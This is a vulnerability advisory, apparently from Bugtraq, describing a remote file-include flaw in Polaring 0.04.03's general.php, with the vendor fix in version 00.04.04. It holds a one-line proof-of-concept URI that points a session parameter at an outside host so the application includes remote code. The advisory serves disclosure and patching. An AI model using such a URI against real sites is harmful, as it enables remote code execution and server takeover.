Polaring General.PHP Remote File Include Vulnerability

Bugtraq ID:	20183
Class:	Input Validation Error
CVE:	CVE-2006-5078
Remote:	Yes
Local:	No
Published:	Sep 25 2006 12:00AM
Updated:	Oct 11 2006 10:24PM
Credit:	Drago84 is credited with the discovery of this vulnerability.
Vulnerable:	Polaring Polaring 00.04.03
Not Vulnerable:	Polaring Polaring 0.4.4

Polaring General.PHP Remote File Include Vulnerability

Polaring is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 0.04.03 and prior.

Polaring General.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/polaring_dir/view/general.php?_SESSION['dirMain']=http://www.example.com

Polaring General.PHP Remote File Include Vulnerability

Solution:
The vendor has released version 00.04.04 to address this issue; please see the referenced advisories for information on how to obtain and apply the fix.

Polaring General.PHP Remote File Include Vulnerability

References:

• Polaring Home Page (Polaring )
  
• Polaring New release: 00.04.04 (security fixes!) (Krisse)